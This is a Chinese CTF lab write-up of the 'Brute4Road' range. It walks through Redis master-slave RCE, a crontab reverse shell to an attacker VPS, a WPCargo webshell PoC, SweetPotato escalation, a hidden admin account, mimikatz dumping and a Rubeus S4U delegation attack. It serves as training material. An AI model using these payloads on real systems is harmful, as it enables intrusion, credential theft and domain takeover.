春秋云镜-Brute4Road
flag1
先用fscan扫一扫
发现redis不需要密码
redis未授权拿shell的常见利用方法有写webshell,写corn或者写sshkey
发现都不行
看到redis版本为5.0.12
可以打redis主从复制
拓展:redis利用思路
方法一:主从复制 RCE(最强,推荐)
Redis 5.x 支持加载外部模块,用 redis-rogue-server 或 RedisModules-ExecuteCommand:
bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 用 redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server
python3 redis-rogue-server.py --rhost 39.98.114.207 --rport 6379 --lhost 你的VPS_IP
```
原理:伪造恶意 Redis 主节点,目标作为从节点同步加载恶意 `.so` 模块,实现 RCE。
---
### 方法二:写 Crontab 反弹 shell
直接在 ARDM 的命令行(点顶部 `>_` 图标)执行:
```
config set dir /var/spool/cron/
config set dbfilename root
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/你的VPS_IP/端口 0>&1\n\n"
save
```
---
### 方法三:写 SSH 公钥
```
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n你的SSH公钥内容\n\n"
save
然后直接 ssh root@39.98.114.20
1
2
3
4
5
6
7
8
9
cd ~
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make # 先编译得到 module.so
git clone https://github.com/Ridter/redis-rce
**cd redis-rce**
cp ../src/module.so ./
pip3 install -r requirements.txt --break-system-packages
**python3 redis-rce.py -r 39.99.159.161 -p 6379 -L 8.148.230.29 -f module.so --lport 6666**
拿到shell之后先上个线
读flag发现没有权限
尝试suid提权
base64可以提权,但是只能读文件
拿到第一个flag
flag2
信息收集一下
看一下ip
fscan扫一下
扫出来四台机子
1
2
3
4
NetBios 172.22.2.34 XIAORANG\CLIENT01
NetBios 172.22.2.16 MSSQLSERVER.xiaorang.lab
NetBios 172.22.2.3 DC:DC.xiaorang.lab
NetBios 172.22.2.18 WORKGROUP\UBUNTU-WEB02 WordPress
172.22.2.18上有一个wordpress服务,看看能不能从这里入手
先socks代理搭一下 拿wpscan扫一下
1
proxychains4 wpscan --url 172.22.2.18
扫出来一堆洞
有个能够rce的,感觉比较好利用
找一下漏洞的poc
| [WPCargo < 6.9.0 – Unauthenticated RCE | CVE 2021-25003 | Plugin Vulnerabilities](https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a/) |
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sys
import binascii
import requests
# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'
def encode_character_code(c: int):
return '{:08b}'.format(c).replace('0', 'x')
text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]
destination_url = 'http://127.0.0.1:8001/'
cmd = 'ls'
# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)
# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))
直接连蚁剑
在wordpress的配置文件中找到数据库的账号密码
这个机子不对外开放端口,所以我们直接用webshell管理器上的数据库管理工具连接数据库
得到flag2
flag3
在表S0meth1ng_y0u_m1ght_1ntereSted有一堆密码
不知道有什么用,先导出来
注意这里用蚁剑导出之前记得将limit去掉,不然密码不全
172.22.2.16上有mssql服务
用我们手上的这堆密码爆破一下
成功拿到账号密码
接下来直接用MUDT连
拿到nt service\mssqlserver权限
没找到flag,猜测需要提权。
可以用SweetPotato提权
1
C:/Users/Public/sweetpotato.exe -a "whoami"
得到flag
flag4
新建一个用户用rdp连上去
1
2
3
net user hunsil Abc123456 /add
net localgroup administrators hunsil /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
信息收集一下
发现这台机子在域内
用bloodhound做一下信息收集
从图中我们可以看到,MSSQLSERVER 具有对 DC 的约束性委派权限
我们可以尝试进行约束性委派攻击
所以我们接下来就要尝试用mimikatz抓取hash,然后申请TGT,最后伪造S4U请求访问DC
先传一个mimikatz.exe,管理员打开
抓到一个用户hash
1
2
privilege::Debug
sekurlsa::logonpasswords
先用这个账号申请一个TGT
1
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:6fdb5239210dcd8cf65aaedf54efff5f /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > TGT.txt
得到base64编码的TGT票据,利用Rubeus导入票据
1
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE241tFjqrNfSoJoWlwylgM3bm183XnDyobdNuAnnh9mSDWS0SeH3+fwYgRMoAEPiDGuFo4fL+kul5qEbaYGfcl14J+SUaXE/f7JTn70xMBMfWdUS7ulBsLcLpx1xdDBgD6tvlkZAD0xrCljRUh2fYuS/5XslPN09EIOjbPDbUbeI5NOjmyFkc1kkkui9vQvTFcAn4LBWsjsmpajvNPYURpguJufgPgPcrDfsLcxdSGWoLeTdzasNYLXCdejYvH465Z56r3k6PbsBDKccsFzIeaTbaud4eHkDlW6O5xlNuQHIkNlp/THSzinnMkAh3T42u3UfxVS5cOyfgeRmkIlHTUFnrbu+Fd2h+pdawCrcedkPOyXR2nbX3iRcL1qul8TbQRInHDyBtr7LrELv+BDYlwWNHV5gB00MhCNXlTcZ6WPLBMoiMAb9LismX6i6wjgVIFpWOAt+Nn/13sz1PTC3akcG+x9GJ9I7iKH48KGNYS38B0KMyJEr402QAaYegGtv2W1vsTiumKxWCL2zOnLq3RLoFY1j72ugPYW1TgbaPrAOz8IWuWPyijEWCV4BxfzCMAHHxwvP3eJeBDRCueYvC85hJO7K5HseG6DOE0OCheBlZF0P7Zy+4su8XjOMPoK1QNcdnaBf/bGb5vci6Hm/sgEOzNtYuD+PjPNysyzge6TbGjCKW/zBCP3rZrkUL6HHby0/yP2KDXb4WZkTZmufLeEOeWYpuUS1j0zMXHIkv9aU7qhhUzznNo80Qq3bD4GSg0eh4JZTsLundidcOq8vbtv9AEfUxAp1yPCyAmB6NtfvACSZBSf7VYHtDQcta5t0DqVJ6h/gpX6uLCjwX0rITkCoUTbcR/+xavKHkWrLboa7XRKp4ZcinRy3kqCGd00qpgtryCduqhduQsMBlEOB7CeVBHTU/pjB/VpmNEWfSQSEx6SuVvf10a/tk9WKLHMukC+PGdEUp8JS3GvIMAmd3ZtC0SD0UXCZrDUhqdMs2ZjTNT4T+cBsdsdhEEt4cWq7Liktit+DR9DcJ0v6NNAQRHJA1htumPpNRsrn4YyEbjZwYuBxnJbH2rAqF1CwKsPOCtQIQhs90Fj9lz7v2ESjCXDxKm43qjwYiopWKy+4vqKNtzdcymFPme9HVPuFCnj/UwwYibvuXgwQZaNytazMd8N79wOVm3TK6TqblZUL9DaWMgBAAG5ORsUPFIaeM8XkuMwRPMX4cte7MuxK5TwOfNAOjWBBG1sIG1hit3eFXLkNWUuPLI5I2xh4YwFefKIY9p/8j3hQKga2CAU6bJDUYu3HNbHZyT9eQi1xi1KQbKUerFE+I5efaISQmVixkYGlSPIyQpGIFQdT8KeV84giD2Jefxty8Ik2W/8TGh8b2bn4bWJ1g8iMgzuurzbUEZjlf9mSWRdg8qU4PxsXcbf4Bk253/mclXVFCNojLz1RLVoj6TtJAIFw+IJG39dvcCjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBCCJ8Tx7azYeDfrUgOy2MJkoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MDMxNzE1MjQ1N1qmERgPMjAyNTAzMTgwMTI0NTdapxEYDzIwMjUwMzI0MTUyNDU3WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
接下来就可以和DC进行通讯了
1
2
WIN+R
\\DC.xiaorang.lab\C$\Users\Administrator\flag\
或者可以用
1
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt
参考文章: https://blog.xrntkk.top/post/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-brute4road-writeup/


















